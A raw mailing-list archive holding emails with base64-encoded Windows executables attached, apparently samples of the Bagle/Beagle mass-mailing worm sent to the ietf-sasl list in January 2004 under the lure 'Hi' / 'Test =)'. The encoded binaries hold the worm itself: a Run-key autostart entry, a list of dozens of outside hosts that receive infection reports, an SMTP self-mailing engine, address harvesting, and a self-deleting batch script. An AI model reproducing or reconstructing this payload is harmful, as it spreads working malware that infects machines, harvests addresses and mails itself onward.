AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALhHAAAAAAAAdkcAAGJHAABSRwAA REcAAAAAAACWRwAAAAAAALZDAADCQwAA1EMAAORDAAD2QwAACEQAABhEAAAmRAAANkQAAFBE AABmRAAAfEQAAIxEAACeRAAAuEQAANBEAADsRAAA+kQAAAZFAAAWRQAAJkUAAC5FAABGRQAA WEUAAG5FAAB4RQAAhEUAAJBFAACcRQAAqEUAAIhDAACYQwAAOEMAAKhDAAByQwAAZEMAAFhD AABGQwAA3kQAAAAAAAB2RgAAhkYAAAAAAADKRgAAskYAAL5GAACoRgAAAAAAAMJFAAAAAAAA JEcAABRHAAD4RgAA4kYAAAAAAAA8RgAARkYAAE5GAAAwRgAAWEYAACJGAAASRgAACEYAAPpF AADyRQAA6EUAAGBGAADaRQAAAAAAACRCAAAAAAAAAAAAALRFAAAkQAAA5EIAAAAAAAAAAAAA zkUAAORAAAAAQwAAAAAAAAAAAABqRgAAAEEAAMRCAAAAAAAAAAAAAJ5GAADEQAAA0EIAAAAA AAAAAAAA1kYAANBAAADsQgAAAAAAAAAAAAA4RwAA7EAAAAhCAAAAAAAAAAAAAIhHAAAIQAAA HEIAAAAAAAAAAAAAqkcAABxAAAAAQgAAAAAAAAAAAADIRwAAAEAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuEcAAAAAAAB2RwAAYkcAAFJHAABERwAAAAAAAJZHAAAAAAAAtkMAAMJDAADUQwAA 5EMAAPZDAAAIRAAAGEQAACZEAAA2RAAAUEQAAGZEAAB8RAAAjEQAAJ5EAAC4RAAA0EQAAOxE AAD6RAAABkUAABZFAAAmRQAALkUAAEZFAABYRQAAbkUAAHhFAACERQAAkEUAAJxFAACoRQAA iEMAAJhDAAA4QwAAqEMAAHJDAABkQwAAWEMAAEZDAADeRAAAAAAAAHZGAACGRgAAAAAAAMpG AACyRgAAvkYAAKhGAAAAAAAAwkUAAAAAAAAkRwAAFEcAAPhGAADiRgAAAAAAADxGAABGRgAA TkYAADBGAABYRgAAIkYAABJGAAAIRgAA+kUAAPJFAADoRQAAYEYAANpFAAAAAAAAGgBDbG9z ZUhhbmRsZQAdAENvbXBhcmVGaWxlVGltZQAkAENvcHlGaWxlQQAwAENyZWF0ZUZpbGVBADEA Q3JlYXRlRmlsZU1hcHBpbmdBAAA7AENyZWF0ZU11dGV4QQAARgBDcmVhdGVUaHJlYWQAAIAA RXhpdFByb2Nlc3MAjwBGaW5kQ2xvc2UAkwBGaW5kRmlyc3RGaWxlQQAAnABGaW5kTmV4dEZp bGVBAMgAR2V0Q29tbWFuZExpbmVBAN8AR2V0RGF0ZUZvcm1hdEEAAOgAR2V0RHJpdmVUeXBl QQD1AEdldEZpbGVTaXplAP4AR2V0TG9jYWxUaW1lAAABAUdldExvZ2ljYWxEcml2ZVN0cmlu Z3NBAAcBR2V0TW9kdWxlRmlsZU5hbWVBAAA8AUdldFN5c3RlbURpcmVjdG9yeUEAUgFHZXRU aWNrQ291bnQAAFMBR2V0VGltZUZvcm1hdEEAAFUBR2V0VGltZVpvbmVJbmZvcm1hdGlvbgAA YgFHZXRXaW5kb3dzRGlyZWN0b3J5QQAAZwFHbG9iYWxBbGxvYwBuAUdsb2JhbEZyZWUAAKoB TG9jYWxBbGxvYwAArgFMb2NhbEZyZWUAugFNYXBWaWV3T2ZGaWxlAP0BUmVsZWFzZU11dGV4 AABgAlNsZWVwAGUCU3lzdGVtVGltZVRvRmlsZVRpbWUAAHcCVW5tYXBWaWV3T2ZGaWxlAI8C V2FpdEZvclNpbmdsZU9iamVjdACUAldpbkV4ZWMAngJXcml0ZUZpbGUAtQJsc3RyY2F0QQAA uQJsc3RyY21waUEAuwJsc3RyY3B5QQAAvwJsc3RybGVuQQAAa2VybmVsMzIuZGxsAABiAndz cHJpbnRmQQB1c2VyMzIuZGxsAAAhAFdTQVN0YXJ0dXAAACQAYWNjZXB0AAAlAGJpbmQAACYA Y2xvc2Vzb2NrZXQAJwBjb25uZWN0ACoAZ2V0aG9zdGJ5bmFtZQArAGdldGhvc3RuYW1lADYA aW5ldF9hZGRyADoAbGlzdGVuAAA+AHJlY3YAAEMAc2VsZWN0AABEAHNlbmQAAEkAc29ja2V0 AAB3c29jazMyLmRsbAAxAENvSW5pdGlhbGl6ZQAAawBDcmVhdGVTdHJlYW1PbkhHbG9iYWwA b2xlMzIuZGxsANcAU3RyRHVwQQDmAFN0clJDaHJBAADzAFN0clN0cklBAAD6AFN0clRyaW1B AABzaGx3YXBpLmRsbABpAEludGVybmV0Q2xvc2VIYW5kbGUAewBJbnRlcm5ldEdldENvbm5l Y3RlZFN0YXRlAIYASW50ZXJuZXRPcGVuQQCHAEludGVybmV0T3BlblVybEEAAHdpbmluZXQu ZGxsAIABUmVnQ2xvc2VLZXkAgwFSZWdDcmVhdGVLZXlBAKMBUmVnUXVlcnlWYWx1ZUV4QQAA rgFSZWdTZXRWYWx1ZUV4QQAAYWR2YXBpMzIuZGxsAAAqAEdldE5ldHdvcmtQYXJhbXMAAGlw aGxwYXBpLmRsbAAAbgBTaGVsbEV4ZWN1dGVBAFNIRUxMMzIuZGxsAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMTIAeRoAADE1MS4yMDEuMC4zOQAAAAAA AAAAAC53YWIALnR4dAAuaHRtAC5odG1sAAAucjEAQGhvdG1haWwuY29tAEBtc24uY29tAEBt aWNyb3NvZnQAQGF2cC4AACVzP3A9JWx1JmlkPSVzAGh0dHA6Ly93d3cuZWxyYXNzaG9wLmRl LzEucGhwAGh0dHA6Ly93d3cuaXQtbXNjLmRlLzEucGhwAGh0dHA6Ly93d3cuZ2V0eW91cmZy ZWUubmV0LzEucGhwAGh0dHA6Ly93d3cuZG1kZXNpZ24uZGUvMS5waHAAaHR0cDovLzY0LjE3 Ni4yMjguMTMvMS5waHAAaHR0cDovL3d3dy5sZW9uemVybml0c2t5LmNvbS8xLnBocABodHRw Oi8vMjE2Ljk4LjEzNi4yNDgvMS5waHAAaHR0cDovLzIxNi45OC4xMzQuMjQ3LzEucGhwAGh0 dHA6Ly93d3cuY2Ryb21jYS5jb20vMS5waHAAaHR0cDovL3d3dy5rdW5zdC1pbi10ZW1wbGlu LmRlLzEucGhwAGh0dHA6Ly92aXB3ZWIucnUvMS5waHAAaHR0cDovL2FudG9sLWNvLnJ1LzEu cGhwAGh0dHA6Ly93d3cuYmFncy1kb3N0YXZrYS5tYWdzLnJ1LzEucGhwAGh0dHA6Ly93d3cu NXgxMi5ydS8xLnBocABodHRwOi8vYm9zZS1hdWRpby5uZXQvMS5waHAAaHR0cDovL3d3dy5z dHRuZ2RhdGEuZGUvMS5waHAAaHR0cDovL3doOS50dS1kcmVzZGVuLmRlLzEucGhwAGh0dHA6 Ly93d3cubWljcm9udWtlLm5ldC8xLnBocABodHRwOi8vd3d3LnN0YWR0aGFnZW4ub3JnLzEu cGhwAGh0dHA6Ly93d3cuYmVhc3R5LWNhcnMuZGUvMS5waHAAaHR0cDovL3d3dy5wb2xvaGV4 ZS5kZS8xLnBocABodHRwOi8vd3d3LmJpbm84OC5kZS8xLnBocABodHRwOi8vd3d3LmdyZWZy YXRocGFlbnouZGUvMS5waHAAaHR0cDovL3d3dy5iaGFtaWR5LmRlLzEucGhwAGh0dHA6Ly93 d3cubXlzdGljLXZ3cy5kZS8xLnBocABodHRwOi8vd3d3LmF1dG8taG9iYnktZXNzZW4uZGUv MS5waHAAaHR0cDovL3d3dy5wb2xvemlja2UuZGUvMS5waHAAaHR0cDovL3d3dy50d3ItbXVz aWMuZGUvMS5waHAAaHR0cDovL3d3dy5zYy1lcmJlbmRvcmYuZGUvMS5waHAAaHR0cDovL3d3 dy5tb250YW5pYS5kZS8xLnBocABodHRwOi8vd3d3Lm1lZGktbWFydGluLmRlLzEucGhwAGh0 dHA6Ly92dmNnbi5kZS8xLnBocABodHRwOi8vd3d3LmJhbGxvbmZvdG8uY29tLzEucGhwAGh0 dHA6Ly93d3cubWFyZGVyLWdtYmguZGUvMS5waHAAaHR0cDovL3d3dy5kdmQtZmlsbWUuY29t LzEucGhwAGh0dHA6Ly93d3cuc21lYW5nb2wuY29tLzEucGhwAABEYXRlOiAlcw0KVG86ICVz DQpTdWJqZWN0OiBIaQ0KRnJvbTogJXMNCk1lc3NhZ2UtSUQ6IDwlcyVzPg0KTUlNRS1WZXJz aW9uOiAxLjANCkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOw0KICAgICAgICBib3Vu ZGFyeT0iLS0tLS0tLS0lcyINCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiB0ZXh0 L3BsYWluOyBjaGFyc2V0PSJ1cy1hc2NpaSINCkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6 IDdiaXQNCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LW1z ZG93bmxvYWQ7IG5hbWU9IlslJVJBTkQlJV0uZXhlIg0KQ29udGVudC1UcmFuc2Zlci1FbmNv ZGluZzogYmFzZTY0DQpDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFt ZT0iWyUlUkFORCUlXS5leGUiDQoNCgANCg0KLS0tLS0tLS0tLSVzLS0NCg0KLg0KACBUZXN0 ID0pDQpbJVJBTkQlXVslUkFORCVdDQotLQ0KVGVzdCwgeWVwLg0KOmwNCmRlbCAlMQ0KaWYg ZXhpc3QgJTEgZ290byBsDQpkZWwgJTAAYS5iYXQAb3BlbgBxAgAAzQ0BAAAAAAAAAAAAAAAA AAAAAAAAAAAAY2FsYy5leGUAb3BlbgBTT0ZUV0FSRVxXaW5kb3dzOTgAdWlkAFNPRlRXQVJF XE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1bgBkM2R1cGRhdGUuZXhlAFxi YmVhZ2xlLmV4ZQBmcnVuAAAAAAAAAAAAAAAAAAAsACAsDQoAPAA+AENDOiAAQkNDOgBUbzog AEhFTE8gJXMNCgBSU0VUDQoATUFJTCBGUk9NOjwlcz4NCgBSQ1BUIFRPOjwlcz4NCgBEQVRB DQoAWyVSQU5EJV0AZGRkJywnIGRkIE1NTSB5eXl5IABISDptbTpzcyAAJTAzaSUwMmkADQpc ACouKgBiZWFnbGVfYmVhZ2xlAFxic3VwbGQAIC11cGQALmV4ZQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAgADAAAAIAAAgA4AAAA4AACAAAAAAAAAAAAAAAAAAAABAAEAAABQAACA AAAAAAAAAAAAAAAAAAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAA AAAAAAAAAAABAAAAAACQAAAAoJAAAOgCAAAAAAAAAAAAAIiTAAAUAAAAAAAAAAAAAAAoAAAA IAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAICAAIAA AACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////ABERERERERER ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER EREREREREREREREREREREREREQAAAAAAAAAAAAAAAAAAARZkREREREREREREREREREAW5mZm ZmZmZmZmZmZmZmZAFvZgAGAAYABgAGAAAABmQBbmb3BvcG9wb3Bvd3dwZkAW9m/wb/Bv8G/w b///8GZAFuZmZmZmZmZmZmZmZmZmQBb2YABgAGAAYABgAGAAZkAW5m9wb3BvcG9wb3BvcGZA FvZv8G/wb/Bv8G/wb/BmQBbmZmZmZmZmZmZmZmZmZkAW9mAAYABgAGAAYABgAGZAFuZvcG9w b3BvcG9wb3BmQBb2b/Bv8G/wb/Bv8G/wZkAW5mZmZmZmZmZmZmZmZmZAFvZgd3d3d3d3d2Zm ZmZmQBbmYP////////dmZmZmZkAW9mB3d3d3d3d3ZmZmZmZAFuZgAAAAAAAAAGZmZmZmQBb+ /v7+/v7+/v7+/v7+/kARZmZmZmZmZmZmZmZmZmZhERERERERERERERERERERERERERERERER ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER ERERERERERERERERERERERER///////////////////////////AAAABgAAAAIAAAACAAAAA gAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAA AACAAAAAgAAAAMAAAAH///////////////////////////////8AAAEAAQAgIBAAAQAEAOgC AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/ ----------572668853471687-- Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0K0gXib048189; Mon, 19 Jan 2004 16:42:33 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0K0gXL6048187; Mon, 19 Jan 2004 16:42:33 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from yusron ([202.81.60.26]) by above.proper.com (8.12.10/8.12.8) with SMTP id i0K0evic048130 for ; Mon, 19 Jan 2004 16:41:00 -0800 (PST) (envelope-from lyndon@orthanc.ab.ca) Date: Tue, 20 Jan 2004 07:44:42 +0700 To: ietf-sasl@imc.org Subject: Hi From: lyndon@orthanc.ab.ca Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------462482681382150" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: ----------462482681382150 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Test =) gpawmqbrtrgsjcjmdan -- Test, yep. ----------462482681382150 Content-Type: application/x-msdownload; name="wlh.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="clninlyn.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAADchu8bmOeBSJjngUiY54FImOeBSJvngUgW+JJIxeeBSGTH k0iZ54FIX+GHSJnngUhSaWNomOeBSAAAAAAAAAAAAAAAAAAAAABQRQAATAEEAN9uCkAAAAAA AAAAAOAADwELAQUMACQAAABCAAAAAAAAijEAAAAQAAAAQAAAAABAAAAQAAAAAgAABAAAAAAA AAAEAAAAAAAAAACgAAAABAAAOScBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA AAAAADhBAADIAAAAAJAAAKADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAOAEAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAGJlYWdsZQAAhiMAAAAQAAAAJAAAAAQAAAAAAAAAAAAAAAAAACAA AGAucmRhdGEAANQHAAAAQAAAAAgAAAAoAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABONQAA AFAAAAAKAAAAMAAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAoAMAAACQAAAABAAAADoAAAAA AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL 7Ff8i30Ii00MwekCM8DjAvOri00Mg+ED4wLzql/JwggAVYvsV1OLXQyLfQhqGeh1AgAAg8Bh /KpLdfFbX8nCCABVi+xXU4tdDIt9CGoJ6FUCAACDwDD8qkt18VtfycIIAFWL7IPE/FP/dQjo WiIAAIvY/3UQ6FAiAAAD2IPDEFNqQOjpIQAAiUX8/3UM/3UI6KciAAALwHQzxgAAi9j/dQzo JCIAAAPY/3UI/3X86BEiAAD/dRD/dfzo+iEAAFP/dfzo8SEAAItF/OsK/3X86KIhAAAzwFvJ wgwAVYvsg8T8VldTx0X8AAAAAIt1CIt9DItNEDPAM9usweAI4gfB4AhDQ+sLrMHgCOIDQ+sC rElRagRZUcHCCIrQgOI/wegG4vNZ6C8AAACSq5L/RfyDffwSdQ/HRfwAAAAAUGa4DQpmq1hZ C8l1rovLK/mwPfOqW19eycIMAID6PnMXgPozdw2AwkGA+lp2A4DCBusOgML86wmA6j7A4gKA wivBwgji1sNVi+yDxOxoAAQAAGpA6NwgAACJRfRoAAQAAGpA6M0gAACJRfBoAAQAAGpA6L4g AACJRexoBAEAAP919GoA6IggAAD/dfT/dfDo9SAAAGpcagD/dfDoWyEAAAvAdQXpgAAAAEBo ulZAAFDo1CAAAGoAagBqAmoAagNoAAAAwP918OjxHwAAiUX8QHRXaJNWQADosyAAAJJqAI1F +FBSaJNWQAD/dfzohiAAAP91/OiyHwAA6wUiJXMiAP919Gg4EkAA/3Xs6IUgAACDxAwzwGoA UP917P918GjAVkAAUOgaIQAAagDopR8AAMnDVYvsV409FFhAAItFCIkHxwXFVkAAAQAAAIPH BPclyVZAAIkH/wXFVkAAgT3FVkAAcAIAAHXjX8nCBABVi+yDxPxWV1ONPRRYQACBPcVWQABw AgAAD4LBAAAAgT3FVkAAcQIAAHUKaAURAADokP///8dF/AAAAACL94sGJQAAAICLXgSB4/// /38Lw4vI0eiL1oHCNAYAAIsaM8OD4QELyXQFNd+wCJmJBoPGBP9F/IF9/OMAAAB1wYsGJQAA AICLXgSB4////38Lw4vI0eiL1oHCdPz//4saM8OD4QELyXQFNd+wCJmJBoPGBP9F/IF9/G8C AAB1wYvXgcIwBgAAixozw4PhAQvJdAU137AImYkGxwXFVkAAAAAAAIv3ocVWQAD/BcVWQADB 4AID8IsGi9jB6Asz2IvDweAHJYBWLJ0z2IvDweAPJQAAxu8z2IvDwegSM8Mz0vd1CIvCW19e ycIEAFWL7P91CGoBagDoSx8AAMnCBABVi+yLVQiLEv91CP9SCMnCBABVi+yDxPiNVfj/dQyP AsdCBAAAAACLVQiLEmoA/3UQ/3X8/3X4/3UI/1IUycIMAFWL7IPE+FaNdfjHBgAAAADHRgQA AAAAi1UIixKNRfhQagL/dfz/dfj/dQj/UhSLBl7JwgQAVYvsagJqAP91COiN////ycIEAFWL 7GoAagD/dQjoev///8nCBABVi+yDxPiNVfjHAgAAAADHQgQAAAAA/3UI6M////+LVQiLEv91 /P91+P91CP9SGMnCBABVi+yDxPj/dQzoZP///41V+MdCBAAAAABQjwL/dQzol////4tVDIsS agBqAP91/P91+P91CP91DP9SHMnCCABVi+xT/3UI6M0dAACLyLrE0+Lx4xWLRQiL2sHiBcHr GwvTD7YYQAPT4u6LwlvJwgQAVYvsi0UMweACUGpA6D0dAACLTQiJAcnCCABVi+yLRRAz0otN DPfxweICi0UIiwADwoM4AHUXUGoIakDoDh0AAFqJAv91EI8AM8BA6zCLAAvAdBSL0IsIO00Q dQYzwMnCDACLQATr6FJqCGpA6N0cAABaiUIE/3UQjwAzwEDJwgwAVYvsg8T0VleNRfxQaO9W QABoAQAAgOioHQAAx0X0CQAAAI1F9FBozVZAAI1F+FBqAGgCV0AA/3X86IsdAACFwHQyv81W QAC+CQAAAGoJ6LL8//+DwDGIB0dOdfBqCGjNVkAAagFqAGgCV0AA/3X86FsdAAD/dfzoQR0A AF9eycNVi+yDxPyNRfxQaAZXQABoAQAAgOgqHQAAaCB/QADohBwAAFBoIH9AAGoBagBoNFdA AP91/OgVHQAA/3X86PscAADJw1WL7IPE0I1F8FDoyhsAAGoQjUXgUOh9+f//ZsdF4NQHZsdF 4gEAZsdF5hwAjUXYUI1F8FDo+hsAAI1F0FCNReBQ6O0bAACNRdBQjUXYUOgyGwAAg/gBdQQz wOsDM8BAycNVi+yDxPRoACAAAGpA6JYbAACJRfRo/x8AAP919GoA6GAbAABqAGoAagNqAGoB aAAAAID/dfTo9RoAAIlF/EAPhIIAAABqAP91/OgjGwAAiUX4QHRqagBqAGoAagJqAP91/OjP GgAAC8B0VIvYagBqAGoAagRQ6EUbAAALwHQ6UFCLVfjB4gJSakDoGRsAAKMUf0AAWv91+P81 FH9AAFLob/n///81FH9AAOhTGwAAoxh/QADoHxsAAFPoXxoAAP91/OhXGgAA/3X06N8aAADJ w1WL7IPE+I1F/FBo71ZAAGgBAACA6LQbAADHRfgBAAAAagSNRfhQagRqAGhPV0AA/3X86KIb AAD/dfzoiBsAAMnDVYvsg8TwU41F/FBo71ZAAGgBAACA6HIbAADHRfQEAAAAjUX0UI1F8FCN RfhQagBoT1dAAP91/OhWGwAAC8B0B7sBAAAA6wW7AAAAAP91/OgyGwAAi8NbycNVi+yBxHD+ ///oJv7//wvAdQdqAOjEGQAA6AcaAABQ6Bb6///oR/3//42Fcv7//1BoAQEAAOhpGgAA6GkS AABqAGoAagDohxkAAKMcf0AA6K4OAADoPP7//2gEAQAAaCB/QADotxkAAGgEAQAAaCWAQABq AOigGQAAaEJXQABoIH9AAOj9GQAA6GP9//9oIH9AAGglgEAA6G0aAAALwHVK6FAZAACBOC11 cGR0E0CAeAMAdfFqBWjhVkAA6LkZAABqAGggf0AAaCWAQADo7hgAAAvAdAxqAGggf0AA6JgZ AABqAOj1GAAA6xjouP7//wvAdArHBVRXQAABAAAA6GT+///Jw1WL7P91COi+GQAAg/j/dSX/ dQjopRkAAAvAdQe4/////+sSi0AMC8B1B7j/////6wSLAIsAycIEAFWL7IHE9P7///91DI+F 9P7//8eF+P7//wAAAADHhfz+//8BAAAAjYUA/////3UIjwCNhfT+//9QagBqAI2F/P7//1Bq AOhYGQAAg/j/dAQLwHUEM8DrArABycIIAFWL7IPEgFOLXRD/dRT/dQjojv///wvAdESB+4AA AAB2B7mAAAAA6wKLy+MxagBRjUWAUP91COgEGQAAhcB+HivYi1UMixJqAFCNRYBQ/3UM/1IQ g30YAHQC6wLrvDPAhdsPlMBbycIUAFWL7IPE/FMr2/91GP91COgm////C8B0RGoAagGNRf9Q /3UI6K4YAACFwH4wi0UUOEX/dQKzAYtVDIsSagBqAY1F/1D/dQz/UhD/dQzonfn//ztFEHIC 6wSF23S8i8NbycIUAFWL7IPE9P91DOjY+f//agFqAP91DOhC+f//iUX0agWNRftQ6D31//// dRRqCv91EP91DP91COhi////hcB0R2oA/3X0/3UM6BD5//+LVQyLEmoAagSNRftQ/3UM/1IM /3UM6Fn5//+Aff4gdQu4AQAAAMnCEADrDIB9/i10BjPAycIQAOuAycIQAFWL7IPE8FMz22oG agFqAujnFwAAg/j/dQLrYIvYahCNRfBQ6LP0//9mx0XwAgCLTRBmiU3yg30MAHQFi0UM6x+D fQwAdQqDfQgAdQTrJesP/3UI6Lz9//+D+P91AusUiUX0ahCNRfBQU+hdFwAAg/j/dQhT6EwX AAAz24vDW8nCDABVi+yDxOxWU2oQjUXwUOhG9P//ZsdF8AIAi3UIiwaLXgiLdgSGxGaJRfLH RfQAAAAAagZqAWoC6D0XAACJA/91COiLFgAAgzv/dQjHAwAAAADrZGoQjUXwUP8z6N0WAAAL wHQC61FqBf8z6PIWAAALwHQC60JqAI1F8FD/M+i1FgAAg/j/dQLrLovIixVYV0AAg/oFcxmN RexQagBRVmoAagDovhUAAFDolBUAAOsGUeiOFgAA676DOwB0Df8z6IAWAADHAwAAAAAzwFte ycIEAFWL7IPE+GoMagDo6xUAAIlF/P91CI8A/3UMj0AE/3UQj0AIjUX4UGoA/3X8aKcbQABq AGoA6FoVAABQ6DAVAADJwgwAVYvsg8T4aEgCAABqQOikFQAAiUX8x0X4SAIAAI1F+FD/dfzo lhYAAIP4b3UV/3X86IcVAAD/dfhqQOh3FQAAiUX8jUX4UP91/OhwFgAAC8B1FItF/I2AEAEA AFBoB1BAAOikFQAA/3X86E4VAADJw1WL7IPE7FZXU2oMjUX0UOjA8v//ZsdF9AICZsdF9gAB ZsFN9ghmx0X4AQBmwU34CItVCIsSagBqDI1F9FD/dQj/UhD/dQzoVRUAAIvIi30Mi9ewLvzy rovfK9qAf/8udQFLiV3wUVKLVQiLEmoAagGNRfBQ/3UI/1IQWYtVCIsSagD/dfBR/3UI/1IQ x0XwAAAAAFmFyXW4i1UIixJqAGoBjUXwUP91CP9SEGbHRe4PAGbBTe4Ii1UIixJqAGoCjUXu UP91CP9SEGbHRe4BAGbBTe4Ii1UIixJqAGoCjUXuUP91CP9SEFtfXsnCCABVi+yBxHz///9T uTUAAACGzVFqAP91DOjv/P//C8APhOcAAACL2P91COje9f//hsSJRfxqAGoCjUX8UFPovxQA AP91COgL9v//i1UIixKNRfxQaIAAAACNhXz///9Q/3UI/1IMg338AHQUagD/dfyNhXz///9Q U+iEFAAA68v/dQjo4fX//2oAagRqAv91CFPoIPv//4XAdGz/dQjos/X//8dF/AAAAACLVQiL EmoAagKNRfxQ/3UI/1IM/3UI6KT1//+LRfyGxGoAagRQ/3UIU+jf+v//hcB0K1Po8BMAAP91 COitAAAAi9hQ6MITAAALwHUKU+hkEwAAM8DrAovDW8nCCABT6MUTAAAzwFvJwggAVYvsVleL dQz8M8CsqMB0HCQ/ZsHgCKxWi3UIA/D/dRBW/3UI6Nf///9e6yEKwHQdUP91EOhnEwAAi30Q A/hZ/KyqSXX7sC6qM8Cq67uLxl9eycIMAFWL7OsCLgCLRRDGAAD/dRD/dQz/dQjokP///1Bo hh9AAP91EOiaEwAAWMnCDABVi+yDxPBWV1Nmx0Xy//9oAAABAGoA6KgSAACJRfhoAAABAGoA 6JkSAADGAACJRfT/dQjoP/T//4vYUGoA6IESAACJRfz/dQjocvT//4tVCIsSagBT/3X8/3UI /1IMi3X8ZsFOBghmwU4CCGb3RgIPAHQC63MPt14Gg8YM/3X4Vv91/OhK////i/CtPQAPAAF0 AutUC9t0UP91+Fb/dfzoLv///4vwrVCtM8BmrVqB+gAPAAF0BobEA/DrKWatZlD/dfhW/3X8 6Ab///+L8GZaZjtV8nMPZolV8v91+P919OgyEgAAS3Ww/3X86NkRAAD/dfjo0REAAItF9Ftf XsnCBABVi+yDxPyAPWBXQAAAdQzGBWBXQAAB6PD7//+NRfxQ6P3y////dQj/dfzoTPz//2gH UEAA/3X86C39//9Q/3X86O/y//9YycIEAFWL7IPE+MdF+AAAAAD/dQjoXvP//4tVCIsSjUX8 UGoDjUX4UP91CP9SDIN9/ANyBYtF+OsCM8DJwgQAVYvsg8TsU/91COjh8v//UIPABFBqQOgh EQAAi9j/dQjoE/P//1iLVQiLEmoAUFP/dQj/Ugz/dQzoDvP//1PoUxEAAItVDIsSagBQU/91 DP9SEGoUjUXsUOht7v//agnoEPH//4PAA1CNRexQ6Hzu//+NRexQaLNXQABT6K3u//9QU+i7 EAAAW4XbdalbycIIAFWL7IPE7FZXUzP//3UI/3UM6CQEAACJRfSNRfhQ6Onx////dfj/dfTo Qv///2gAIAAAakDochAAAIlF8I1F/FDoxvH//7kZAAAAhs1RagD/dRDoB/n//4XAD4QWAgAA i9hqD2gABAAA/3X8U+hj+P//hcAPhPYBAAD/dfzos/7//z0yMjAAD4XjAQAAi3XwgcYACAAA 